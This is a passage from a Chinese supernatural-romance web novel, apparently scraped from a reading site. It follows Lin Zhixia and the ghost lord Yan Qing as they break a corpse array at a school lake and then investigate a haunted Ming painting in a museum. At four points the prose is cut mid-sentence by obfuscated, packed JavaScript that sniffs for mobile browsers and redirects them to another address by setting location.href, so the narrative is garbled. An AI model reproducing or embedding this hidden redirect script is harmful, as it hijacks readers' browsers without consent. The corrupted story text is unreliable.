林知夏顺利潜到第一口棺材,她看到槐木棺盖上刻满了诡异符文,虽然不看懂,但不影响她知道该怎么搞破坏。 用桃木钉撬开棺材缝隙的瞬间,腥臭的黑水喷涌而出。正要躲避,腕间银发突然收紧,将她整个人直接拽离危险区域。 “闭气。”晏清的声音在识海中响起。林知夏下意识照做,下一秒就被幽冥火裹成蚕蛹,顺着水流冲进第二口棺材。 腐尸的恶臭扑面而来。林知夏强忍呕吐欲,用罗盘压住棺中躁动的尸傀。当看清尸傀胸口挂着的铜牌时,她瞳孔骤缩——那是清风观弟子的身份铭牌! 无数线索终于串联成线! 林知夏正要传音给晏清,整个湖底骤然剧烈震动。七具女尸的尖啸声穿透水波,她心中一紧,担心宴清遇到了麻烦,毕竟超度尸傀比杀死她们要麻烦的多,那七个女生为阵眼的血色八卦图也不好应对,宴清还是鬼,专业真的不对口啊。 墨玉戒似感应到主人危机,突然化作青龙虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237036|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影冲破湖面的血色八卦图飞了出去,林知夏没了墨玉戒护持,忙将避水符拿出,并趁着青龙虚影留下的余威将五帝钱钉入七口棺材的震位,咬破指尖在虚空中画出雷符:“五方雷神,听我号令!” 惊雷劈开水面时,林知夏已经被幽冥火卷着带出水面,晏清这边似也进入了收尾阶段,只见鬼君银发飞扬如瀑,幽冥火顺着青龙虚影烧尽血色八卦。女尸们同时发出最后的哀嚎,在下一刹化作飞灰消散在黎明前的夜色中。 朝阳跃出地平线时,林知夏瘫坐在湖边。她浑身都湿透,发间还挂着两棵水草,要多狼狈有多狼狈。 顾不上自己,林知夏看到宴清渗出幽蓝血色的衣袖,忙问,“你受伤了?” “无碍。”鬼君握住她的手指,幽冥火温柔地舔舐掉她指尖咬出的伤口,“倒是娘子这般模样……”他突然倾身贴近,冰凉呼吸喷在她的耳畔:“为夫是不是该负责?” 林知夏瞬间从耳尖红到锁骨,她有些无奈的推推他,“天快亮了,这一堆烂摊子怎么收拾啊?” 现在有宴清的结界在,还可以粉饰太平,可结界不是万能的,总要撤掉,她都不敢想学校里的人看到人工湖成了这个样子会是什么反应。 肯定会报警的…… 她跟宴清连同那两个女孩子进学校时都施了咒,不怕监控拍到,就怕那两个女孩子心理防线弱被人发现端倪,警察眼睛多利啊。 怪只怪她太天真,知道今晚不好过,却没想到能整出这么大动静。 宴清无所谓的站直身体,“你我做善事,怕甚。” 林知夏:“我是怕麻烦。”顿了顿,她指向被锁链托举在湖面,刚才一会儿雷劈一会儿音攻一会儿火烧,还被密密麻麻的蛊虫包围都依然丝毫无恙的镇河铁牛,“这个怎么整?龙骨能直接取出来吗?” 宴清目光深邃的看向那头铁牛,林知夏看不出他在想什么,心情如何,片刻,他遗憾摇头,“为夫现今实力大减,暂时也无计可施。” 林知夏:“那怎么办?继续把它沉下去?” 宴清:“娘子可真是冷血无情,那是为夫的骨。” 林知夏无语,“……那你说怎么整,我都听你的。” 宴清看向她手中罗盘。 林知夏蓦地攥紧传家宝,宴清目光温柔缱绻,“林家先祖分我龙尸铸成铁牛,龙骨为世间最坚最硬之物,能拆解它的,也需世间最坚利锋锐之刃。” 林知夏:“所以……?” “你手中罗盘为那锋锐之刃所造器物之一,你为林家血脉,用你心头血,染上罗盘金针,可将为夫龙骨剥离铁牛桎梏,救它于水火之中。” 林知夏:“……”父债子偿在这一刻具现化了。 祖宗的债也是债。 她没有犹豫很久,只轻轻抿了下唇,点头,“你把具体方法告诉我,我来做。” 宴清挑眉,“取心头血为世间最疼之酷刑之一,娘子真的想好了?” 林知夏:“心甘情愿。” 7. 槐荫暗涌(完) 黎明前的风掠过人工湖面,带着铁锈味的湿气扑面而来。林知夏盯着镇河铁牛尾部凹陷处的龙鳞纹路,指甲轻轻陷入掌心。 说不紧张是假的,世上没有人不怕疼。 但她是林家这一代家主,宴清不止是债主,也是她的恩人,于情于理,她都没有资格说一个“不”字。 远处传来早班环卫工清扫街道的声响,结界内的槐树枝桠正以诡异的姿态扭曲蜷缩,叶片边缘渗出的暗红汁液表明这株即将成妖的槐树精吞吃了多少无辜亡魂。 宴清要烧死它,不冤。 “当啷——” 青龙虚影衔着半截青铜锁链落在她脚边,龙尾扫过罗盘天池时激起细碎金芒。鬼君广袖翻卷,将虚影重新收入墨玉戒,冰凉的指节突然贴上她颈侧动脉:“现在反悔还来得及。” 林知夏拍开他的手,从帆布包夹层中取出柄青铜短匕。刀刃映着破晓天光,隐约可见“天启三年铸”的铭文——这是父亲临终前留给她的成年礼,此刻握在手中竟有些隐隐发烫。 “林家欠你的,总要还。”她利落地解开上衣盘扣,素白唐装领口滑落半寸,露出锁骨下方淡青色的锁龙井图纹。 晏清鎏金瞳孔暗了暗,玄色锦袍无风自动。幽冥火自他指尖涌出,在方圆十丈结成八角星芒阵。铁牛雕像似有所感突然震颤起来,牛眼中绿莹莹的夜明珠裂开蛛网状纹路,从中渗出暗红血水。 林知夏将匕首抵住心口,刀刃触到皮肤的刹那,罗盘磁针开始疯狂旋转。她惊觉脚下地脉竟在缓慢移位,本该镇守坎位的幽冥火倏地窜高三尺,将试图钻出地面做最后挣扎的槐树根烧成焦炭。 “卯时初地气翻涌,倒是会挑时辰。”晏清冷笑,广袖卷住她手腕往怀中一带。林知夏踉跄着跌进泛着沉水香的怀抱,匕首险险擦过颈侧,差一点就要在自己脖子上划出一道细长血线了。 好在她反应快。 “你……”质问的话被冰凉指尖按回唇间。鬼君垂眸望着她锁骨处逐渐鲜活的图纹,语气难得严肃:“有人动了地脉枢机,这血现在取不得。” 话音将落,整片人工湖再次沸腾起来。墨绿泡沫中慢慢浮出数十具森森白骨,每具骸骨的天灵盖都钉着枚三寸槐木钉。 林知夏:“……” 林知夏有些震惊,这些白骨哪来的?!她和宴清明明将整个人工湖都筛过了一遍!根本没有这些白骨! 可事实又胜于雄辩。 林知夏不由看向宴清。 宴清和她对视,“看我作甚,你们人类法师最善作恶,整出什么邪术吾都不惊奇。” 林知夏:“……”好嘛,连她也diss进去了。 现在也不是纠结这个的时候,认出这些白骨是“槐钉封魂”的邪术,林知夏顾不得整理衣衫,反手将五帝钱拍去震位。 铜钱入土的瞬间,白骨齐刷刷转向铁牛方向。腐朽的指骨毅然决然插.入铁牛底座,竟生生将少说有数吨重的铁牛雕像抬起平移了半尺。林知夏看得分明——铁牛底座下赫然露出半截水晶棺椁,棺中少女双手交叠置于腹部,指间缠着缕银白丝线。 林知夏忙中都忍不住在心里吐槽,又是水晶棺!又是少女! 幕后的人是和水晶棺跟少女杠上了是吧! 简直是变态! “那是赶尸匠的牵魂丝!”她怕宴清不知道,出声提醒。 话音未落,棺盖突然炸裂。少女尸身如提线木偶般直立而起,空洞的眼窝里爬出两只血色蜈蚣。晏清揽着她旋身后撤,幽冥火凝成的箭矢直直洞穿了少女尸身的眉心,爆开的脓血却在半空凝成符咒。 林知夏摸出罗盘格挡,黄铜与血符相撞迸出火星。她突然嗅到熟悉的松香味,家中手札中记载的湘西秘术掠过脑海:“是尸傀替身术!真身还在……” “在水下七丈。”晏清接住她未尽之语,指尖幽冥火化作游鱼钻入湖底。不过片刻,西南方的续命灯残骸突然爆燃,青烟中浮现出戴傩戏面具的人影。 面具人手中铜铃轻摇,湖底顿时传来锁链挣动的巨响。林知夏腕间银发铃铛无风自鸣,震得她太阳穴突突直跳。眼看铁牛就要被拖入水眼,她咬牙扯开衣襟,匕首毫不犹豫刺入心口。 “林知夏!” 剧痛席卷神经的刹那,时间仿佛被无限拉长。殷红血珠顺着刀刃滚落,在触及罗盘天池的瞬间化作金芒。青龙虚影长啸破空,铁牛雕像应声崩裂,暗青色的龙骨碎片如流星般划破晨雾。 面具人发出野兽般的嘶吼,操控尸傀扑向漫天龙气。晏清广袖翻卷如云,幽冥火织成密网将龙气尽数拢住。林知夏踉跄着勉强站住,眼睁睁看着心口血液源源不断的渗入罗盘,金针在磁池中疯狂旋转,竟将龙骨碎片尽数吸附。 “够了!”冰凉手掌覆上她颤抖的指尖,无名指上墨玉戒泛起暖意,心口狰狞的伤口以肉眼可见的速度愈合。林知夏虚脱地滑坐在地,望着盘旋在晏清周身的龙骨碎片,突然发现那些碎片正在缓慢拼凑出脊椎形状。 面具人趁隙掷出七枚桃木钉,钉身刻满倒刺符咒。晏清头也不回地弹指,幽冥火将木钉烧成灰烬。他俯身将虚弱的小姑娘打横抱起,玄色衣袖遮住她凌乱的衣襟:“娘子这份嫁妆,为夫收下了。” 林知夏:“……” 林知夏苍白的脸颊泛起薄红,正要反驳,余光瞥见面具人胸口滑出的玉牌——那是清风观嫡传弟子的太极鱼符! “玄真道长的人?”她攥住晏清衣襟,“留活口……” 然而她的话还没说完,面具人突然浑身抽搐倒地,忽而从他的七窍中钻出一只血色蛊虫,只转眼间就将他啃噬得只剩下空空荡荡的衣袍。晏清蹙眉挥袖,幽冥火将蛊虫烧成青烟,啧一声,“倒是狠绝。” 晨光穿透槐荫时,人工湖彻底恢复平静。林知夏惨白着一张小脸,眼巴巴看着晏清用幽冥火将新得的龙骨碎片熔炼成一枚凤尾簪。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237037|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她:“……” “这座镇河铁牛既是阵眼也是封印,它虽不是唯一,却也十分重要,如今龙骨离体,黄河故道怕是要生变数。” 林知夏心中微沉,但还是说道,“就算黄河故道生变,也不是你的责任。” 晏清将簪子斜插进她发间,指尖拂过那缕被割断的碎发:"娘子如此说,怕是会被世人唾骂,被同族厌弃。” 林知夏倔强的抿着唇,“我不怕!” 宴清眉眼泄出刹那温柔。 身子突然腾空——林知夏被打横抱起,玄色衣袖罩住她满身的狼狈。 林知夏有点别扭,“我还是……” “结界撑不过一刻钟。”鬼君踏着水面走向岸边,"娘子想要在此处被人围观?” 林知夏揪住他衣襟的手紧了紧,望着逐渐虚化的铁牛残骸,突然想起什么:“那些女生的魂魄……” “在铃铛里温养着。”晏清下颌微抬,示意她看腕间银发系着的幽冥铃,“等超度完再还给地府,来世能投个好胎。” 林知夏轻轻碰了碰铃铛,耳边似听见了细微的啜泣声化作清风。抬眼时正撞进晏清垂落的视线,他眉间血纹在晨光中淡得像抹胭脂,无端的显出几分包容。 林知夏下意识错开了和他的对视,移开视线,就见人工湖四周,幽冥火如旋风过境焚尽了所有不该出现在这里的异类。 蛊虫,白骨,水晶棺,尸体,快要成精的老槐树,锁链…… 她有些疲惫的想,这样就挺好了,虽然湖边一片狼藉,周遭水溅得到处都是,岸边的亭子也毁了…… 至少,报警被发现也够不上刑事案件。 ** 被带回家中,林知夏直接昏睡了两天两夜,这次取心头血让她元气大伤,不养个一两个月的根本恢复不过来。 家中的烂摊子只能交给宴清继续收拾,祠堂也要尽快修复,要不回头市文物局过来真没法交代。 还有三叔公跟福伯的死亡证明…… 不能想,一想头就疼。 这天,林知夏正躺在祠堂廊下的摇椅上,一边看宴清清理祠堂一边晒太阳增加免疫力。 她现在严重贫血,连带着身体也虚,抵抗力很差,稍微不注意就要生病。 手机在这时突然响起急促铃声,林知夏看到是市文物局陈主任打来的就有些犹豫,怕一接通就被通知要带专家来参观…… 好在并不是。 陈主任在电话那头说,“小林啊,有个事需要你帮忙。” 林知夏客气回,“有事您说话,能办我一定办。”办不了她也没办法。 陈主任:“市博物馆新收了一幅明代古画,这幅画……怎么说呢,反正馆长跟我反馈说连续三晚这画都不安生,老出现异常,我可不是道听途说宣传封建迷信啊,主要吧,这事儿确实邪乎,我想着你家学渊源,电话里也说不清,要是有空你就过来看看是怎么回事。” 8. 古画妖(一) 夜色漫过博物馆的玻璃穹顶时,林知夏站在明代书画展厅的旋转门前,指尖无意识的摩挲着罗盘边缘。冷气从门缝里渗出来,冻得她往隐匿了身形的晏清身边挨了半寸。 现在的她,身娇体弱易推倒,要不是陈主任再三打电话,甚至问起三叔公,林知夏不会碍于情面这个时候从家里出来接单。 她也是伤员来着。 好在宴清没那么冷血,愿意陪她过来。 “这空调开得比鬼君身上还冷。”她小声嘀咕,低头看手机里陈主任发来的监控视频——午夜时分的展厅空无一人,挂在正中的《春庭夜宴图》却无风自动,画中仕女广袖翻飞似要破卷而出,那张朱砂点就的唇瓣分明是在翕动着好似在说着什么。 晏清玄色衣袖扫过她的后颈,幽冥火凝成半透明的披风拢住她单薄的身形:“画灵执念过深,倒比前日那些尸傀有趣些。” 值班员老周端着保温杯从安检口探出头,手电筒光束扫过林知夏胸前的临时工作证:“陈主任交代过,林小姐看完记得去保卫科签个到。”可能看她年轻是个小姑娘,忍不住将声音压低了些,小声说,“夜里十点后千万别进西展厅,那幅画……真的很吓人!” 林知夏刚要追问,头顶的感应灯突然滋啦作响。老周反应很大,手忙脚乱的摸出一串五帝钱压到值班表下,嘴里一直念念有词,铜钱撞上玻璃台面发出一阵叮当脆响。 “您这串钱请得不对。”扫过那串泛着青黑锈迹的铜钱,林知夏说,“乾隆通宝该配黄穗,红绳压不住。” 话音刚落,头顶整排射灯纷纷炸裂。玻璃爆裂声中,晏清广袖卷着她疾退三步,玄色衣袂将飞溅的碎片一一扫落。老周吓得直接跌坐在地,保温杯里的枸杞茶泼了满桌也顾不上管了,只管蜷缩在那儿瑟瑟发抖。 林知夏将一张符扔过去嘱咐,“拿好符别乱跑,听到什么都不要出来。” 老周忙抓着符紧张道谢。 虽然不知道这位林小姐是什么身份,只看人家刚刚露的那手跟轻功似的飞起后退,就肯定不是一般人!难怪今天领导只留他一个值班,原来请了高人! 宴清把人重新揽在身边,淡淡说,“亥时三刻,阴气冲门。”他鎏金瞳孔映出展厅深处翻涌的雾气,“看来这位画中仙,不喜生人扰她清净。” 林知夏将罗盘按在旋转门感应器上,天池磁针在玻璃表面划出刺耳锐响。黄铜指针颤巍巍果然指向了西展厅方位,针尾在这时应景的凝出几粒细小冰晶。 温度骤然降了很多。 好在鬼君一直用幽冥火给她取暖,否则以她现在的小身板和抵抗力真不一定吃得消。 适时,手机震动,陈主任发来最新消息:【安保系统显示画作表面温度骤降至零下十度,小林你千万小心!】 “温度计测鬼气,倒是与时俱进。”晏清轻笑,指尖幽冥火化作流萤钻进通风管道,“娘子不如猜猜,这画中藏着什么执念?” 林知夏望着展厅深处明明灭灭的安全出口指示灯,摇头,“猜不到。” *** 这幅《春庭夜宴图》画功很是不凡。 工笔勾勒的庭院里,十二位梳双环髻的侍女捧着果盘穿梭回廊,唯有廊柱阴影处立着个戴帷帽的女子,素白的裙裾下隐隐约约露出了半截鎏金锁链。 “锁魂链……”隔着玻璃展柜,林知夏眉心微蹙,有些不太确定的看向宴清,“这不是普通画灵,像是被人……镇在画里的生魂?” 晏清的银色长发被穿堂风撩起,在展柜玻璃上投下流云般的暗影:“早听闻明代宗室惯爱用秘法困住宠妾魂魄,没想到能在此处得见。” 他说着忽然握住她执罗盘的手,寒气顺着经络游走,林知夏眼前倏地浮现出一幅画面——朱红宫墙内,戴着帷帽的女子被铁链锁在梧桐树下,宣旨太监尖细的嗓音刺破暮色:“沈氏冲撞太妃,赐……” “林小姐?” 颤巍巍的呼唤惊散了眼前幻象,林知夏回过神,扭头看到老周举着强光手电站在展厅外要进又不敢进,他脸色比灯光还要惨白,神情看上去好似被吓得不轻,“您、您刚才一直站那儿一动不动,我叫了你好几声都没有反应。” 晏清依然隐匿着身形,他倚在展柜上闷笑,指尖勾住她一缕发梢缠绕:“娘子与那画灵倒是投缘。” 林知夏不着痕迹的瞪过去一眼,这人总喜欢搞突击让她看各种过去的画面,一点都不带提醒的! 故作镇定地转向老周,笑笑,“我想事情太投入了,脑子里一堆跟这幅画相关的文献,不好意思啊。”说着轻咳一声,“不是说空调冷气坏了关不了吗,怪冷的,您回值班室吧,我这边还需要点时间。” 老周看看她,又看看那幅诡异的画,“那、那您也别待太久,等、等白天,安全。” 林知夏笑着应了声好。老周一走,她立马摸出手机给陈主任发消息,事情远比她预想的要复杂,馆里不能留人,要清场,只能陈主任来办。 ** 晚上十一点钟,林知夏开始在《春庭夜宴图》的展厅中央布阵。晏清将幽冥火凝成七枚手电筒漂浮在空中照明,幽蓝火光映得他眉间血纹宛如活物。 “沈氏当年被做成人烛,魂魄锁在画中四百余年。”他指尖拂过阵眼处的油灯,灯芯突然爆出个青紫色的火花,“要解其执念,需找到那截鎏金锁链。” 林知夏将掺了沉香的朱砂填入阵纹,闻言抬头:“时间过去这么久,那截锁链可能丢了,可能被盗墓贼偷走,也可能还在明朝哪个王室墓里没有被挖掘,或者被谁收藏了也不一定,这大海捞针的,很难找啊。” 宴清不置可否,伸手在她小腿和脚上也各加了层幽冥火保暖,林知夏:“……没那么冷。”上身的幽冥火披肩烘的她都快出汗了。 宴清挑眉嗯?一声,林知夏果断闭嘴。 最后一笔阵符落下,展柜玻璃瞬间炸裂。晏清揽着她腾空而起,玄色衣袖扫落飞溅的碎片,那幅《春庭夜宴图》自行展开浮在半空,画中女子伸出苍白手指,鎏金锁链哗啦作响地要缠上林知夏的脚踝。 “小心!”晏清并指斩断锁链,幽冥火顺着链条反噬回画卷。女子顿时发出凄厉哀鸣,整幅画燃起青火,火舌舔舐过的绢帛上竟浮现出一行行暗红咒文。 林知夏认出那是“囚魂咒”,不怎么开心的说,“果然是被囚禁的生魂。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237038|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这实在太过残忍。 孤零零的魂魄被关在画中数百年,不能超生,不度轮回,日复一日,年复一年,就算是个正常鬼被关这么久也要发疯的吧? 现在,这幅画卷被阵法困住,只能悬停在那里不能移动更多,林知夏原本就没想过要杀了画灵,现在知道那是生魂,虽然不老实老作祟跑出来吓人,却没有沾上人命,也没有染上血煞之气,就更不可能动手抹杀了。 只是要怎么处理,是个问题。 她正思考,画中女子却固执的用鎏金锁链再次袭向林知夏。晏清眸中金芒流转,广袖翻卷间将林知夏护在身后,幽冥火化作青龙缠上锁链。金银光芒碰撞间,整座博物馆响起连绵不断的警铃声。 宴清诧异,“这是何声?” 林知夏:“……警铃声。”她把这茬给忘了,博物馆放的都是古董,怎么可能没有安装警报器。 这间展厅的警报器估计是陈主任主动让人给关了,要不刚才玻璃一碎,警报器早响了。 可惜陈主任做梦都不会想到,他已经如此贴心,却架不住她家鬼君打起架时从来不知道什么是收敛克制…… 虽然清场了,但也只是清内场,外面安保什么的一点都不少。 林知夏无奈说,“今天估计不能继续了,这幅画先暂时封印吧,等明天再找机会处理。”陈主任帮忙清场也是担了风险的,不能让人家难做。 宴清冰凉指尖抵住她的唇瓣,眼底映着幽蓝火光:“娘子可能不知,为夫最擅长……”他吹熄掌心幽冥火,整座展厅瞬间陷入黑暗,“偷天换日。” *** 晨光初露时,林知夏跟博物馆的几位领导告别,再三保证那幅《春庭夜宴图》不会再有任何非科学现象出现。 博物馆领导都十分感激,他们原先也不怎么信鬼神,直到引进了这幅《春庭夜宴图》……人说耳听为虚眼见为实,真是活生生被这幅画重新刷了世界观。 林知夏直到拉开车门坐上自己的车,紧绷的神经才稍稍缓舒了一些。 没办法,人生头一回当贼,心可太虚了。 宴清隐着身形坐在副驾上,这是他第二次坐汽车,依然觉得新鲜。见她小脸一点血色都无,似随意般提议,“这次由为夫来开车,娘子身体欠佳,到后座休息去吧。” 林知夏原本只是虚虚搭在方向盘上的手倏地一下握得死紧,“那不行,你没驾照,也没学过开车,我得为自己为他人的人身安全负责!” 宴清有些不高兴,“娘子怎的如此不信任为夫?” 林知夏:“不是不信任,是真的不可以,鬼君如果你想开车,回头我烧一辆保时捷给你,那才真的拉风呢!” 宴清:“……为夫不喜阴间之物。” 林知夏:“……那,那等回头我系统的教你怎么开车,然后咱们做几个测试,合格了我就同意你开人间的车。” 宴清那双深邃漂亮的眼眸直直看过来,显得忧郁又受伤,好似林知夏的提议有多伤人似的。 林知夏:“……” 林知夏艰难的移开视线,在这件事上坚决不做出让步。 宴清:“……也罢。” 9. 古画妖(二) 回到家,林知夏顾不上处理《春庭夜宴图》,先回房休息。 她熬了一整个通宵,又是布阵又是施术,后来还顶着心理上的巨大压力配合宴清偷梁换柱把人家博物馆的真迹给带了回来。 身心俱疲,精力实在有些吃不消。 饭都没顾上吃就睡了。 醒来已经暮色四合。 刚睁眼就咳嗽上了,止都止不住,咳得时候心口跟针扎似的疼,特难受。正想起来找水喝,唇边多了一杯温水,是宴清。 他神出鬼没的,林知夏都懒得吐槽他不尊重自己的隐私了,手腕被他扣住,寒气顺着经络游走,片刻,他将她的手放回薄被中,蹙眉说,“娘子体质太弱,只熬了一晚,取心头血的后遗症就加重了。” 林知夏莫名产生了一丝惭愧心理,怪自己自不量力。 宴清:“需行针。” 林知夏人麻了:“……鬼君还会针灸?” 宴清温柔一笑,“娘子放心,为夫手很稳。” 林知夏:“……”不,我不太放心。 虽然不放心,她也没有挣扎反抗说“不”,看在宴清眼里,属实是乖巧又听话。 不多时,房间蒸腾起艾草的苦涩清香。 林知夏上身穿着无带裹胸,趴在竹榻上,白莹莹的后背就这么堂而皇之的袒露出来,多少有些羞耻不好意思。 但人家鬼君说了,“你我为夫妻,虽未行房,却有夫妻之名,婚书天地可证。且我看娘子手机上,现今女子穿衣都颇为大胆,只是露出后背罢了,娘子倒也不用如此芥蒂,为夫暂时还不会逾矩。” 林知夏:“……”话都让他说完了,她还说啥呀!说多了显得自己矫情。 此时,晏清将幽冥火凝成七枚银针,玄色衣袖扫过她光裸的脊背,温声提醒,“会有些疼。” 话音落下,不给林知夏反应的时间,第一针已经刺入命门穴,林知夏手心一颤,咬牙闷哼一声,直接攥皱了身下的毯子,冷汗顺着蝴蝶骨滑落,在素白的肌肤上蜿蜒出清浅水痕。 这不是有些疼,是太疼了! “忍着些。”按住她有些抖的腰背,晏清突然俯身,银发垂落扫过她颤栗的肩胛,“龙气在你体内横冲直撞,不用猛药镇不住。” 林知夏闻言把脸埋进臂弯,闷声问:“当年他们……究竟对你做了什么?” 银针在至阳穴悬停片刻,鬼君的声音混着艾烟飘来:“不过是将刚刚化龙的龙尸抽筋扒皮,龙骨铸成镇河铁牛,龙心炼作延寿丹,龙魂……” 龙魂怎么,他没有继续说下去,只是轻笑一声,第七针重重刺入腰俞穴。林知夏疼得弓起身子,却同时听见身后传来器物坠地的清脆声响,她扭头看去,原本挂在墙上的镇宅宝剑被逸散的龙气振落了剑鞘。 这鬼生气了。 林知夏想。 ** 针灸虽然很疼,但效果也确实惊艳。 第二天再醒来,林知夏不咳了,心口也不闷疼了,精力充沛,虽然还有点后遗症,但真的减轻了好多。 林知夏神清气爽,起来先给自己点了份外卖。 老宅这边离城区有些距离,想吃外卖只能加钱。但没办法,她不会做饭,厨子钟叔被放了长假,如果不想饿肚子或者吃速食,花钱,是最简单的解决办法。 吃过早饭,上午的阳光略过林家老宅的滴水檐时,林知夏跟宴清面对面坐在廊下矮塌上,面前摊着从博物馆偷梁换柱李代桃僵带回来的《春庭夜宴图》的真迹。 画中女子的素白裙裾泛着幽蓝磷光,鎏金锁链在宣纸上蜿蜒如活物,时不时发出细微的铮鸣。 她伸手拂过画卷边缘的焦痕,那些被幽冥火灼烧的痕迹正在以非常缓慢的速度复原中,这说明画灵并没有被伤到根本。 林知夏问,“沈姑娘真的不想和我们谈谈?” 画中女子突然剧烈震颤起来,朱砂点就的唇瓣溢出暗红血珠。晏清很有先见之明,广袖扫过矮桌,干脆利落的将险些被掀翻的茶盏强势按回原位,目光瞧向林知夏,“四百年的怨气差之毫厘就可结成血煞,你这般温言软语与她说话,倒不如为夫的幽冥火管用。” 林知夏:“我这叫先礼后兵。” 宴清轻弹她脑门,“你分明是可怜她。” 林知夏正要说些什么,指间墨玉戒突然发烫,她心有所感的转头望去,正看到檐角铜铃无风自动,细碎的铃声里竟掺着女子的呜咽声,这要是大半夜的估计还真有点渗人。 就在此时,原本安静垂落的鎏金锁链突然暴起,目标直取林知夏的咽喉要害。 玄色衣袂翻卷如云,晏清揽着她后撤三步。锁链擦着林知夏的耳垂钉入梁柱,震得廊下矮桌上的白瓷茶盏齐齐迸裂。 “咱们也没说什么啊,怎么突然这么凶!”林知夏反手甩出五帝钱,铜钱嵌入画卷的刹那,整幅《春庭夜宴图》浮起三尺。画中亭台楼阁慢慢化作实体,转瞬就将一人一鬼卷入四百年前的明宫幻境。 * 青石板路上蒸腾着槐花蜜的甜香,林知夏踉跄着站稳身形时,发现自己正站在朱红宫墙的阴影里。远处传来笙箫鼓乐之声,三十六名戴傩戏面具的宫人抬着鎏金步辇缓缓而来,辇上女子云鬓高绾,素白广袖垂落满地。 “是沈氏!”林知夏扯住晏清衣袖,压低声音说,“你看她脚踝。” 鎏金锁链缠绕在女子纤细的脚腕上,随着步辇移动发出细碎声响。两队手持桃木剑的道士紧随其后,道袍下摆用银线绣着北斗七星阵,行走间隐隐结成困龙之势。 晏清突然握住她的手腕,幽冥火凝成半透明的丝绦缠住两人小指,告诫她,“莫要轻举妄动,这是画灵记忆结成的蜃境。” 话音未落,前方宫门轰然洞开。穿蟒袍的太监捧着明黄圣旨尖声宣诏:“沈氏冲撞太妃凤驾,着锁入寒梧殿,永世不得出——” 林知夏瞳孔骤缩。她分明看见太监袖中滑落的不是寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237039|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常朱砂,而是掺着骨灰的镇魂砂。那些跟在后面的道士突然暴起,桃木剑劈开步辇珠帘的瞬间,整座宫城的地面浮现出血色八卦图。 这些和她之前在博物馆看到的单一幻像很不一样。 “是生祭之阵!"林知夏扯着晏清退到廊柱后,指尖在青砖上快速勾画计算,“乾位埋着七盏人皮灯笼,坤位……” 冰凉的掌心突然覆上她的眼睫,晏清的声音混着沉香萦绕耳畔:“娘子且看。” 幽冥火顺着他的指尖窜入地脉,整座宫城的地气走向顿时纤毫毕现。林知夏倒抽冷气——那些看似随意的亭台楼阁,竟是布成的锁魂局。殿前的梧桐树虬根盘结,每根枝桠上都吊着一具风干的宫女尸首。 “难怪她怨气难消。”林知夏攥紧罗盘,磁针在坎位疯狂震颤,“用九十九个纯阴命格的宫女做阵眼,这是要……” “炼人烛。”晏清广袖扫过虚空,眼前的蜃境画面只片刻就扭曲破碎。再睁眼时,寒梧殿已化作冲天火海,沈氏被铁链锁在青铜柱上,燃烧的松脂混着尸油浇遍全身。道士们绕着火柱诵经,手中铜铃每响一声,火焰就窜高三尺。 林知夏突然闷哼出声。指间墨玉戒烫得惊人,并蒂莲纹顺着血脉游走到心口,在皮肤表面绽开第三片花瓣。晏清神色微变,揽着她腾空跃上宫墙:“娘子倒是与她共情颇深。” 林知夏:“我最讨厌活人祭!”她盯着火海中逐渐焦黑的身影,突然甩出罗盘,黄铜磁针撞在青铜柱上迸出火星,本该是虚影的火焰竟真的弱了三分。 整座蜃境这时开始剧烈震颤起来。沈氏的哀嚎声穿透时空,鎏金锁链从四面八方缠向两人。晏清并指斩断最近的三条锁链,幽冥火顺着铁索反噬回画卷,将《春庭夜宴图》烧出焦黑的空洞。 “当心!” 林知夏的惊呼声与瓷器碎裂声同时响起。她眼睁睁看着沈氏的虚影从画中扑出,素白手掌直取宴清的心口,她下意识抬手去挡,对方却在触及她指间的墨玉戒时,刹那化作青烟消散。 一切重归寂静。 林知夏耳畔传来一声轻笑,她蓦地发现自己正被晏清圈在怀中。玄色锦袍的暗金云纹蹭过鼻尖,沉水香混着幽冥火的凛冽气息冲得她耳根发烫。 “娘子方才倒是英勇。”晏清垂眸看着仍抓在自己前襟的素手,鎏金瞳孔漾起戏谑,“可惜蜃境中的攻击伤不到实体……” 